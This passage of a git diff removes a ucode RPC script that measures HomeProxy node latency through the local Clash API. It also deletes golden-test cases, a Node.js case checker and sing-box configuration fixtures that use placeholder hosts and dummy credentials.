shellquote(controller + path)), - fd = popen(command + ' 2>/dev/null'), - out = ''; - - if (fd) { - for (let line = fd.read('line'); length(line); line = fd.read('line')) - out += line; - - fd.close(); - } - - try { - return json(trim(out) || '{}'); - } catch (e) { - return {}; - } -} - -function delayQuery() { - return sprintf('?timeout=%d&url=%s', - DELAY_TIMEOUT, - urlencode(DELAY_TEST_URL)); -} - -function proxyDelayPath(name) { - return sprintf('/proxies/%s/delay%s', - pathSegment(name), - delayQuery()); -} - -function delayRequestTimeout() { - let timeout = DELAY_TIMEOUT * 2 + 10000; - - return (timeout > FETCH_TIMEOUT) ? timeout : FETCH_TIMEOUT; -} - -function parseProxyDelayResult(result) { - let error = ''; - - if (type(result) !== 'object') - return { status: 'failed', error: '连通性测试无结果' }; - - error = result.message || result.error || ''; - - if (type(result.delay) === 'int' || type(result.delay) === 'double') - return { status: 'ok', delay: int(result.delay) }; - - return { status: 'timeout', error: error || '连通性测试超时或失败' }; -} - -function stampResult(result) { - let now = time(); - result.tested_at = now; - return result; -} - -function reserveTcpingSlot() { - let now = time(), - wait = TCPING_COOLDOWN - (now - last_tcping_at); - - if (last_tcping_at > 0 && wait > 0) - return { - result: false, - error: sprintf('测速请求过于频繁,请 %d 秒后重试。', wait) - }; - - last_tcping_at = now; - return null; -} - -function loadedProxies(hpuci) { - return clashApiGet(hpuci, '/proxies', FETCH_TIMEOUT); -} - -function loadedProxyTags(payload) { - let tags = {}; - - if (type(payload) === 'object' && type(payload.proxies) === 'object') - for (let name in payload.proxies) - tags[name] = true; - else - return null; - - return tags; -} - -function nodeTag(tag_map, section) { - return get_outbound_tag(tag_map, section); -} - -function runtimeNodeTag(hpuci, tag_map, section) { - let routing_mode = hpuci.get('homeproxy', 'config', 'routing_mode') || 'bypass_mainland_china', - main_node = hpuci.get('homeproxy', 'config', 'main_node') || 'nil', - main_udp_node = hpuci.get('homeproxy', 'config', 'main_udp_node') || 'nil'; - - if (routing_mode !== 'custom') { - if (section === main_node) - return 'main-out'; - - if (main_udp_node !== 'nil' && - main_udp_node !== 'same' && - main_udp_node !== main_node && - section === main_udp_node) - return 'main-udp-out'; - } - - return nodeTag(tag_map, section); -} - -function validSectionName(section) { - return type(section) === 'string' && - section !== '' && - length(section) <= SECTION_MAX_LEN && - match(section, /^[A-Za-z0-9_]+$/); -} - -function resolveNode(hpuci, tag_map, section) { - if (!validSectionName(section)) - return { result: false, error: 'illegal section' }; - - let cfg = hpuci.get_all('homeproxy', section), - tag = runtimeNodeTag(hpuci, tag_map, section); - - if (!cfg || cfg['.type'] !== 'node') - return { result: true, node: stampResult({ status: 'missing', target: tag, error: '节点不存在' }) }; - - if (cfg.type in ['direct', 'block']) - return { - result: true, - node: stampResult({ - status: 'unsupported', - target: tag, - error: '直连或阻断节点不测速' - }) - }; - - return { result: true, node: null, tag }; -} - -function testNodeByProxyDelay(hpuci, payload, tag) { - let loaded = loadedProxyTags(payload); - - if (loaded === null) - return stampResult({ status: 'failed', target: tag, error: 'Clash API 未响应,请确认 HomeProxy 客户端正在运行。' }); - - if (!(tag in loaded)) - return stampResult({ status: 'unloaded', target: tag, error: '节点未加入当前运行配置' }); - - let result = stampResult(parseProxyDelayResult(clashApiGet(hpuci, proxyDelayPath(tag), delayRequestTimeout()))); - - result.target = tag; - return result; -} - -function testNodesByProxyDelayBatch(hpuci, payload, tags) { - let results = {}, - loaded = loadedProxyTags(payload); - - if (loaded === null) { - for (let tag in tags) - results[tag] = stampResult({ - status: 'failed', - target: tag, - error: 'Clash API 未响应,请确认 HomeProxy 客户端正在运行。' - }); - - return results; - } - - let pending = []; - - for (let tag in tags) { - if (!(tag in loaded)) { - results[tag] = stampResult({ - status: 'unloaded', - target: tag, - error: '节点未加入当前运行配置' - }); - } else { - push(pending, tag); - } - } - - if (!length(pending)) - return results; - - let timeout_sec = int((delayRequestTimeout() + 999) / 1000), - controller = controllerBase(hpuci), - secret = hpuci.get('homeproxy', 'config', 'clash_api_secret') || '', - header = secret ? sprintf('--header %s', shellquote('Authorization: Bearer ' + secret)) : '', - temp_dir_cmd = 'mktemp -d /tmp/homeproxy-delay.XXXXXX', - fd = popen(temp_dir_cmd + ' 2>/dev/null'), - temp_dir = ''; - - if (fd) { - temp_dir = trim(fd.read('line') || ''); - fd.close(); - } - - if (!temp_dir) { - for (let tag in pending) - results[tag] = stampResult({ status: 'failed', target: tag, error: '无法创建测速临时目录' }); - - return results; - } - - for (let offset = 0; offset < length(pending); offset += BATCH_SIZE) { - let commands = []; - - for (let i = offset; i < length(pending) && i < offset + BATCH_SIZE; i++) { - let tag = pending[i], - url = controller + proxyDelayPath(tag), - out = temp_dir + '/' + i + '.json'; - - // url 与输出路径来自动态值,即使 URL 已编码,拼接 shell 命令前仍必须 shellquote()。 - push(commands, sprintf('( /usr/bin/wget -qO- -T %d --no-proxy %s %s > %s 2>/dev/null ) &', - timeout_sec, - header, - shellquote(url), - shellquote(out))); - } - - push(commands, 'wait'); - system(join(' ', commands)); - } - - for (let i = 0; i < length(pending); i++) { - let tag = pending[i], - body = trim(readfile(temp_dir + '/' + i + '.json') || ''), - parsed = {}; - - try { - parsed = json(body || '{}'); - } catch (e) { - parsed = {}; - } - - results[tag] = stampResult(parseProxyDelayResult(parsed)); - results[tag].target = tag; - } - - system('rm -rf ' + shellquote(temp_dir)); - return results; -} - -const methods = { - node_tcping: { - args: { section: '' }, - call: function(req) { - let section = req.args ? req.args.section : null; - - const hpuci = cursor(); - hpuci.load('homeproxy'); - - let tag_map = build_outbound_tag_map(hpuci), - resolved = resolveNode(hpuci, tag_map, section); - - if (!resolved.result || resolved.node) - return resolved; - - if (hpuci.get('homeproxy', 'config', 'clash_api_enabled') !== '1') - return { result: false, error: '请先开启 Clash API 后再进行连通性测试。' }; - - if (!controllerBase(hpuci)) - return { result: false, error: 'Clash API 端口无效,请设置为 1-65535。' }; - - let cooldown = reserveTcpingSlot(); - if (cooldown) - return cooldown; - - let payload = loadedProxies(hpuci); - - return { - result: true, - node: testNodeByProxyDelay(hpuci, payload, resolved.tag) - }; - } - }, - nodes_tcping: { - args: { sections: [] }, - call: function(req) { - let sections = req.args ? req.args.sections : null; - if (type(sections) !== 'array') - return { result: false, error: 'illegal sections' }; - - const hpuci = cursor(); - let nodes = {}, - tested = 0, - tags = [], - seen_sections = {}, - warning = ''; - - hpuci.load('homeproxy'); - let tag_map = build_outbound_tag_map(hpuci); - - for (let i = 0; i < length(sections); i++) { - let section = sections[i]; - if (seen_sections[section]) - continue; - seen_sections[section] = true; - - if (++tested > TCPING_MAX_NODES) - nodes[section] = { status: 'skipped', error: sprintf('一次最多测试 %d 个节点', TCPING_MAX_NODES) }; - else { - let resolved = resolveNode(hpuci, tag_map, section); - - if (!resolved.result) - return { result: false, error: resolved.error }; - - if (resolved.node) - nodes[section] = resolved.node; - else - push(tags, resolved.tag); - } - } - - if (length(tags)) { - if (hpuci.get('homeproxy', 'config', 'clash_api_enabled') !== '1') - return { result: false, error: '请先开启 Clash API 后再进行连通性测试。' }; - - if (!controllerBase(hpuci)) - return { result: false, error: 'Clash API 端口无效,请设置为 1-65535。' }; - - let cooldown = reserveTcpingSlot(); - if (cooldown) - return cooldown; - - let payload = loadedProxies(hpuci), - tag_results = testNodesByProxyDelayBatch(hpuci, payload, tags); - - if (loadedProxyTags(payload) === null) - warning = 'Clash API 未响应,请确认 HomeProxy 客户端正在运行。'; - - for (let i = 0; i < length(sections); i++) { - let section = sections[i], - tag = runtimeNodeTag(hpuci, tag_map, section); - - if (nodes[section]) - continue; - - if (tag in tag_results) - nodes[section] = tag_results[tag]; - } - } - - for (let i = 0; i < length(sections); i++) { - let section = sections[i]; - if (seen_sections[section] !== true) - continue; - if (!nodes[section]) - nodes[section] = stampResult({ - status: 'failed', - target: nodeTag(tag_map, section), - error: '本次未返回结果' - }); - } - - return { result: true, nodes, warning }; - } - } -}; - -return { 'luci.homeproxy_tcping': methods }; diff --git a/luci-app-homeproxy/tests/generator-golden/cases.json b/luci-app-homeproxy/tests/generator-golden/cases.json deleted file mode 100644 index 123f878f4..000000000 --- a/luci-app-homeproxy/tests/generator-golden/cases.json +++ /dev/null @@ -1,130 +0,0 @@ -[ - { - "name": "shadowsocks-basic", - "description": "普通 Shadowsocks 节点生成单个 outbound", - "generator_fixture": true, - "expects": { - "outbounds": ["main-out"], - "diagnostics": [] - } - }, - { - "name": "shadowsocks-shadowtls", - "description": "Shadowsocks + ShadowTLS 生成 detour 链路,并隐藏中间层 tag", - "generator_fixture": true, - "expects": { - "outbounds": ["main-out", "main-out-shadowtls"], - "tag_map": true, - "diagnostics": [] - } - }, - { - "name": "selector-manual-nodes", - "description": "Selector 手选代理节点生成 selector outbound", - "generator_fixture": true, - "expects": { - "outbound_type": "selector", - "diagnostics": [] - } - }, - { - "name": "selector-regex-nodes", - "description": "Selector 通过节点正则展开代理节点,并受节点数量上限保护", - "generator_fixture": true, - "expects": { - "node_filter_limit": 500, - "diagnostics": [] - } - }, - { - "name": "selector-references-urltest", - "description": "Selector 引用 URLTest 路由节点时补齐实际代理节点依赖", - "generator_fixture": true, - "expects": { - "outbound_type": "selector", - "contains_nested_outbound": true, - "diagnostics": [] - } - }, - { - "name": "disabled-routing-node", - "description": "禁用的 routing_node 不能作为有效路由节点解析,引用时回退到 block-out 并产生 warning", - "generator_fixture": true, - "expects": { - "route_final": "block-out", - "diagnostics": ["warning"] - } - }, - { - "name": "routing-cycle", - "description": "循环引用路由节点应产生 error 诊断且不覆盖旧运行配置", - "generator_fixture": true, - "expects": { - "diagnostics": ["error"], - "write_runtime_config": false - } - }, - { - "name": "selector-cycle", - "description": "Selector 节点列表互相引用时应产生 error 诊断且不覆盖旧运行配置", - "generator_fixture": true, - "expects": { - "diagnostics": ["error"], - "write_runtime_config": false - } - }, - { - "name": "routing-rule-direct-node", - "description": "路由规则直选具体节点时自动补齐该节点 outbound", - "generator_fixture": true, - "expects": { - "route_rule_outbound": true, - "required_outbound": true - } - }, - { - "name": "gfwlist-default-outbound-fallback", - "description": "非 custom 模式下 main_node 为空时仍可回退使用 default_outbound 生成运行配置", - "generator_fixture": true, - "expects": { - "default_outbound_fallback": true, - "route_final": true - } - }, - { - "name": "duplicate-label", - "description": "同名 label 通过稳定后缀生成唯一 readable tag", - "generator_fixture": true, - "expects": { - "unique_tags": true, - "tag_map": true - } - }, - { - "name": "reserved-tag-label", - "description": "label 与保留 tag 冲突时生成安全后缀", - "generator_fixture": true, - "expects": { - "unique_tags": true, - "reserved_tag_avoided": true - } - }, - { - "name": "unsupported-certificate-pin", - "description": "订阅节点包含证书 pin 且 sing-box 不支持时默认跳过节点", - "generator_fixture": false, - "expects": { - "subscription_skip_node": true, - "tls_insecure": false - } - }, - { - "name": "remove-subscription-node-references", - "description": "删除订阅节点时清理 main、routing、dns server、dns rule、ruleset 引用", - "generator_fixture": false, - "expects": { - "references_cleaned": true, - "uci_commit": true - } - } -] diff --git a/luci-app-homeproxy/tests/generator-golden/check_cases.js b/luci-app-homeproxy/tests/generator-golden/check_cases.js deleted file mode 100755 index a62401a99..000000000 --- a/luci-app-homeproxy/tests/generator-golden/check_cases.js +++ /dev/null @@ -1,118 +0,0 @@ -#!/usr/bin/env node -'use strict'; - -const fs = require('fs'); -const path = require('path'); - -const casesPath = path.join(__dirname, 'cases.json'); -const cases = JSON.parse(fs.readFileSync(casesPath, 'utf8')); -const fixturesDir = path.join(__dirname, 'fixtures'); -const requiredCases = [ - 'shadowsocks-basic', - 'shadowsocks-shadowtls', - 'selector-manual-nodes', - 'selector-regex-nodes', - 'selector-references-urltest', - 'disabled-routing-node', - 'routing-cycle', - 'selector-cycle', - 'routing-rule-direct-node', - 'gfwlist-default-outbound-fallback', - 'duplicate-label', - 'reserved-tag-label', - 'unsupported-certificate-pin', - 'remove-subscription-node-references' -]; - -function assert(condition, message) { - if (!condition) { - console.error(message); - process.exitCode = 1; - } -} - -function renameTagValue(value, rename) { - if (typeof value === 'string') - return Object.prototype.hasOwnProperty.call(rename, value) ? rename[value] : value; - - if (Array.isArray(value)) - return value.map((item) => ( - item && typeof item === 'object' && !Array.isArray(item) - ? renameTags(item, rename) - : renameTagValue(item, rename) - )); - - return value; -} - -function renameTags(value, rename) { - if (Array.isArray(value)) - return value.map((item) => renameTags(item, rename)); - - if (value && typeof value === 'object') { - for (const key of Object.keys(value)) { - if (['tag', 'outbound', 'outbounds', 'detour', 'default', 'final', 'download_detour'].includes(key)) - value[key] = renameTagValue(value[key], rename); - else - value[key] = renameTags(value[key], rename); - } - } - - return value; -} - -assert(Array.isArray(cases), 'cases.json must contain an array'); - -const names = new Set(); -for (const item of cases) { - assert(item && typeof item === 'object', 'each case must be an object'); - assert(typeof item.name === 'string' && item.name.length > 0, 'case must have a name'); - assert(!names.has(item.name), `duplicate case name: ${item.name}`); - names.add(item.name); - assert(typeof item.description === 'string' && item.description.length > 0, `${item.name}: missing description`); - assert(item.expects && typeof item.expects === 'object' && !Array.isArray(item.expects), `${item.name}: missing expects object`); - - if (item.generator_fixture) { - const fixtureDir = path.join(fixturesDir, item.name); - const caseMetaPath = path.join(fixtureDir, 'case.json'); - const configPath = path.join(fixtureDir, 'homeproxy'); - const diagnosticsPath = path.join(fixtureDir, 'expected', 'config-diagnostics.json'); - - assert(fs.existsSync(configPath), `${item.name}: missing generator fixture homeproxy config`); - assert(fs.existsSync(caseMetaPath), `${item.name}: missing generator fixture case.json`); - assert(fs.existsSync(diagnosticsPath), `${item.name}: missing expected config diagnostics`); - - if (fs.existsSync(caseMetaPath)) { - const meta = JSON.parse(fs.readFileSync(caseMetaPath, 'utf8')); - assert(typeof meta.success === 'boolean', `${item.name}: case.json must define boolean success`); - if (meta.success) - assert(fs.existsSync(path.join(fixtureDir, 'expected', 'sing-box-c.json')), `${item.name}: missing expected sing-box-c.json`); - } - } -} - -for (const name of requiredCases) - assert(names.has(name), `missing required generator golden case: ${name}`); - -const renameRegression = renameTags({ - outbounds: [ - { type: 'selector', tag: 'Proxy_Selector', outbounds: ['Proxy_Auto', 'direct-out'] }, - { type: 'urltest', tag: 'Proxy_Auto', outbounds: ['node-a'] } - ], - route: { - final: 'Proxy_Selector', - rules: [{ outbound: 'Proxy_Auto' }] - } -}, { - Proxy_Selector: '♻️ 节点选择', - Proxy_Auto: 'Proxy_Auto 标签', - 'node-a': '节点 A' -}); - -assert(renameRegression.route.final === '♻️ 节点选择', 'rename_tags regression: route.final not renamed'); -assert(renameRegression.outbounds[0].tag === '♻️ 节点选择', 'rename_tags regression: top-level outbound tag not renamed'); -assert(renameRegression.outbounds[0].outbounds[0] === 'Proxy_Auto 标签', 'rename_tags regression: selector outbound list not renamed'); -assert(renameRegression.outbounds[1].tag === 'Proxy_Auto 标签', 'rename_tags regression: nested outbound object not renamed'); - -if (!process.exitCode) - console.log(`generator golden cases: ${cases.length} ok`); diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/case.json b/luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/case.json deleted file mode 100644 index 5550c6db4..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/case.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "success": true -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/expected/config-diagnostics.json b/luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/expected/config-diagnostics.json deleted file mode 100644 index acf681f17..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/expected/config-diagnostics.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "items": [ - { - "type": "warning", - "message": "默认出站 引用了已删除或无效的节点:rn_disabled,已在本次生成中回退为 block-out。", - "suggestion": "请进入 LuCI 界面检查路由、DNS、规则集中的出站引用" - } - ] -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/expected/sing-box-c.json b/luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/expected/sing-box-c.json deleted file mode 100644 index cad294b5a..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/expected/sing-box-c.json +++ /dev/null @@ -1,98 +0,0 @@ -{ - "log": { - "disabled": false, - "level": "warn", - "output": "__TEST_ROOT__/var/run/homeproxy/sing-box-c.log", - "timestamp": true - }, - "ntp": { - "enabled": true, - "server": "time.apple.com", - "detour": "direct-out", - "domain_resolver": "default-dns" - }, - "dns": { - "servers": [ - { - "tag": "default-dns", - "type": "udp", - "server": "223.5.5.5", - "detour": "direct-out" - }, - { - "tag": "system-dns", - "type": "local", - "detour": "direct-out" - } - ], - "strategy": "ipv4_only", - "final": "default-dns" - }, - "inbounds": [ - { - "type": "direct", - "tag": "dns-in", - "listen": "::", - "listen_port": 5333 - }, - { - "type": "mixed", - "tag": "mixed-in", - "listen": "::", - "listen_port": 5330, - "sniff": true, - "sniff_override_destination": true, - "set_system_proxy": false - }, - { - "type": "redirect", - "tag": "redirect-in", - "listen": "::", - "listen_port": 5331, - "sniff": true, - "sniff_override_destination": true - }, - { - "type": "tproxy", - "tag": "tproxy-in", - "listen": "::", - "listen_port": 5332, - "network": "udp", - "sniff": true, - "sniff_override_destination": true - } - ], - "outbounds": [ - { - "type": "direct", - "tag": "direct-out", - "routing_mark": 100 - }, - { - "type": "block", - "tag": "block-out" - } - ], - "route": { - "rules": [ - { - "inbound": "dns-in", - "action": "hijack-dns" - } - ], - "rule_set": [ - ], - "auto_detect_interface": true, - "default_domain_resolver": { - "action": "resolve", - "server": "default-dns" - }, - "final": "block-out" - }, - "experimental": { - "cache_file": { - "enabled": true, - "path": "__TEST_ROOT__/var/run/homeproxy/cache.db" - } - } -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/homeproxy b/luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/homeproxy deleted file mode 100644 index 120f5d64e..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/homeproxy +++ /dev/null @@ -1,39 +0,0 @@ -config homeproxy 'config' - option routing_mode 'custom' - option proxy_mode 'redirect_tproxy' - option ipv6_support '0' - option log_level 'warn' - option clash_api_enabled '0' - -config homeproxy 'infra' - option mixed_port '5330' - option redirect_port '5331' - option tproxy_port '5332' - option self_mark '100' - -config homeproxy 'control' - -config homeproxy 'dns' - option default_strategy 'ipv4_only' - option default_server 'default-dns' - option disable_cache '0' - option disable_cache_expire '0' - -config homeproxy 'routing' - option default_outbound 'rn_disabled' - option default_outbound_dns 'default-dns' - option sniff_override '1' - -config routing_node 'rn_disabled' - option enabled '0' - option label 'Disabled Selector' - option node 'selector' - list selector_nodes 'n1' - -config node 'n1' - option type 'shadowsocks' - option label 'Disabled Child' - option address 'disabled-child.example' - option port '8388' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'disabled-child-password' diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/case.json b/luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/case.json deleted file mode 100644 index 5550c6db4..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/case.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "success": true -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/expected/config-diagnostics.json b/luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/expected/config-diagnostics.json deleted file mode 100644 index aa6fe1f62..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/expected/config-diagnostics.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "items": [ - ] -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/expected/sing-box-c.json b/luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/expected/sing-box-c.json deleted file mode 100644 index 20f6ebf88..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/expected/sing-box-c.json +++ /dev/null @@ -1,183 +0,0 @@ -{ - "log": { - "disabled": false, - "level": "warn", - "output": "__TEST_ROOT__/var/run/homeproxy/sing-box-c.log", - "timestamp": true - }, - "ntp": { - "enabled": true, - "server": "time.apple.com", - "detour": "direct-out", - "domain_resolver": "default-dns" - }, - "dns": { - "servers": [ - { - "tag": "default-dns", - "type": "udp", - "server": "223.5.5.5", - "detour": "direct-out" - }, - { - "tag": "system-dns", - "type": "local", - "detour": "direct-out" - }, - { - "tag": "main-dns", - "domain_resolver": { - "server": "default-dns", - "strategy": "ipv4_only" - }, - "detour": "main-out", - "type": "tcp", - "server": "223.5.5.5" - }, - { - "tag": "china-dns", - "domain_resolver": { - "server": "default-dns", - "strategy": "prefer_ipv6" - }, - "detour": "direct-out", - "type": "udp", - "server": "223.5.5.5" - } - ], - "rules": [ - { - "rule_set": "geosite-cn", - "action": "route", - "server": "china-dns", - "strategy": "prefer_ipv6" - }, - { - "type": "logical", - "mode": "and", - "rules": [ - { - "rule_set": "geosite-noncn", - "invert": true - }, - { - "rule_set": "geoip-cn" - } - ], - "action": "route", - "server": "china-dns", - "strategy": "prefer_ipv6" - } - ], - "strategy": "ipv4_only", - "final": "main-dns" - }, - "inbounds": [ - { - "type": "direct", - "tag": "dns-in", - "listen": "::", - "listen_port": 5333 - }, - { - "type": "mixed", - "tag": "mixed-in", - "listen": "::", - "listen_port": 5330, - "sniff": true, - "sniff_override_destination": true, - "set_system_proxy": false - }, - { - "type": "redirect", - "tag": "redirect-in", - "listen": "::", - "listen_port": 5331, - "sniff": true, - "sniff_override_destination": true - } - ], - "outbounds": [ - { - "type": "direct", - "tag": "direct-out", - "routing_mark": 100 - }, - { - "type": "block", - "tag": "block-out" - }, - { - "type": "urltest", - "tag": "main-out", - "outbounds": [ - "Duplicate Label", - "Duplicate Label #n2" - ], - "interval": "300s", - "tolerance": 50 - }, - { - "type": "shadowsocks", - "tag": "Duplicate Label", - "routing_mark": 100, - "server": "duplicate-a.example", - "server_port": 8388, - "password": "duplicate-a-password", - "method": "2022-blake3-aes-128-gcm" - }, - { - "type": "shadowsocks", - "tag": "Duplicate Label #n2", - "routing_mark": 100, - "server": "duplicate-b.example", - "server_port": 8389, - "password": "duplicate-b-password", - "method": "2022-blake3-aes-128-gcm" - } - ], - "route": { - "rules": [ - { - "inbound": "dns-in", - "action": "hijack-dns" - } - ], - "rule_set": [ - { - "type": "remote", - "tag": "geoip-cn", - "format": "binary", - "url": "https://fastly.jsdelivr.net/gh/1715173329/IPCIDR-CHINA@rule-set/cn.srs", - "download_detour": "main-out" - }, - { - "type": "remote", - "tag": "geosite-cn", - "format": "binary", - "url": "https://fastly.jsdelivr.net/gh/1715173329/sing-geosite@rule-set-unstable/geosite-geolocation-cn.srs", - "download_detour": "main-out" - }, - { - "type": "remote", - "tag": "geosite-noncn", - "format": "binary", - "url": "https://fastly.jsdelivr.net/gh/1715173329/sing-geosite@rule-set-unstable/geosite-geolocation-!cn.srs", - "download_detour": "main-out" - } - ], - "auto_detect_interface": true, - "default_domain_resolver": { - "action": "route", - "server": "china-dns", - "strategy": "prefer_ipv4" - }, - "final": "main-out" - }, - "experimental": { - "cache_file": { - "enabled": true, - "path": "__TEST_ROOT__/var/run/homeproxy/cache.db" - } - } -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/homeproxy b/luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/homeproxy deleted file mode 100644 index a9f29ae15..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/homeproxy +++ /dev/null @@ -1,35 +0,0 @@ -config homeproxy 'config' - option routing_mode 'bypass_mainland_china' - option proxy_mode 'redirect' - option ipv6_support '0' - option main_node 'urltest' - option main_udp_node 'same' - option log_level 'warn' - option clash_api_enabled '0' - list main_urltest_nodes 'n1' - list main_urltest_nodes 'n2' - option main_urltest_interval '300' - option main_urltest_tolerance '50' - -config homeproxy 'infra' - option mixed_port '5330' - option redirect_port '5331' - option self_mark '100' - -config homeproxy 'control' - -config node 'n1' - option type 'shadowsocks' - option label 'Duplicate Label' - option address 'duplicate-a.example' - option port '8388' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'duplicate-a-password' - -config node 'n2' - option type 'shadowsocks' - option label 'Duplicate Label' - option address 'duplicate-b.example' - option port '8389' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'duplicate-b-password' diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/case.json b/luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/case.json deleted file mode 100644 index 5550c6db4..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/case.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "success": true -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/expected/config-diagnostics.json b/luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/expected/config-diagnostics.json deleted file mode 100644 index aa6fe1f62..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/expected/config-diagnostics.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "items": [ - ] -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/expected/sing-box-c.json b/luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/expected/sing-box-c.json deleted file mode 100644 index d5d8bd969..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/expected/sing-box-c.json +++ /dev/null @@ -1,125 +0,0 @@ -{ - "log": { - "disabled": false, - "level": "warn", - "output": "__TEST_ROOT__/var/run/homeproxy/sing-box-c.log", - "timestamp": true - }, - "ntp": { - "enabled": true, - "server": "time.apple.com", - "detour": "direct-out", - "domain_resolver": "default-dns" - }, - "dns": { - "servers": [ - { - "tag": "default-dns", - "type": "udp", - "server": "223.5.5.5", - "detour": "direct-out" - }, - { - "tag": "system-dns", - "type": "local", - "detour": "direct-out" - }, - { - "tag": "cfg-Proxy_DNS-dns", - "type": "https", - "server": "1.1.1.1", - "path": "/dns-query", - "detour": "Proxy Auto" - } - ], - "strategy": "prefer_ipv4", - "final": "cfg-Proxy_DNS-dns" - }, - "inbounds": [ - { - "type": "direct", - "tag": "dns-in", - "listen": "::", - "listen_port": 5333 - }, - { - "type": "mixed", - "tag": "mixed-in", - "listen": "::", - "listen_port": 5330, - "sniff": true, - "sniff_override_destination": true, - "set_system_proxy": false - }, - { - "type": "redirect", - "tag": "redirect-in", - "listen": "::", - "listen_port": 5331, - "sniff": true, - "sniff_override_destination": true - }, - { - "type": "tproxy", - "tag": "tproxy-in", - "listen": "::", - "listen_port": 5332, - "network": "udp", - "sniff": true, - "sniff_override_destination": true - } - ], - "outbounds": [ - { - "type": "direct", - "tag": "direct-out", - "routing_mark": 100 - }, - { - "type": "block", - "tag": "block-out" - }, - { - "type": "selector", - "tag": "Proxy Selector", - "outbounds": [ - "Proxy Auto" - ] - }, - { - "type": "urltest", - "tag": "Proxy Auto", - "outbounds": [ - "Fallback Node" - ], - "url": "https://www.gstatic.com/generate_204", - "interval": "300s", - "tolerance": 50 - }, - { - "type": "shadowsocks", - "tag": "Fallback Node", - "routing_mark": 100, - "server": "fallback-node.example", - "server_port": 8388, - "password": "fallback-node-password", - "method": "2022-blake3-aes-128-gcm" - } - ], - "route": { - "rules": [ - { - "inbound": "dns-in", - "action": "hijack-dns" - } - ], - "rule_set": [ - ], - "auto_detect_interface": true, - "default_domain_resolver": { - "action": "resolve", - "server": "default-dns" - }, - "final": "Proxy Selector" - } -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/homeproxy b/luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/homeproxy deleted file mode 100644 index 43ced909c..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/homeproxy +++ /dev/null @@ -1,59 +0,0 @@ -config homeproxy 'config' - option routing_mode 'gfwlist' - option proxy_mode 'redirect_tproxy' - option ipv6_support '1' - option log_level 'warn' - option clash_api_enabled '0' - option main_node 'nil' - option main_udp_node 'nil' - option dns_server '8.8.8.8' - -config homeproxy 'infra' - option mixed_port '5330' - option redirect_port '5331' - option tproxy_port '5332' - option dns_port '5333' - option self_mark '100' - -config homeproxy 'control' - -config homeproxy 'routing' - option default_outbound 'Proxy_Selector' - option default_outbound_dns 'default-dns' - option sniff_override '1' - option bypass_cn_traffic '0' - -config homeproxy 'dns' - option dns_strategy 'prefer_ipv4' - option default_server 'Proxy_DNS' - -config dns_server 'Proxy_DNS' - option label 'Proxy_DNS' - option enabled '1' - option type 'https' - option server '1.1.1.1' - option path '/dns-query' - option outbound 'Proxy_Auto' - -config routing_node 'Proxy_Selector' - option enabled '1' - option label 'Proxy Selector' - option node 'selector' - list selector_nodes 'Proxy_Auto' - -config routing_node 'Proxy_Auto' - option enabled '1' - option label 'Proxy Auto' - option node 'urltest' - list urltest_nodes 'n1' - option urltest_url 'https://www.gstatic.com/generate_204' - option urltest_interval '300' - option urltest_tolerance '50' - -config node 'n1' - option type 'shadowsocks' - option label 'Fallback Node' - option address 'fallback-node.example' - option port '8388' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'fallback-node-password' diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/case.json b/luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/case.json deleted file mode 100644 index 5550c6db4..000000000 --- 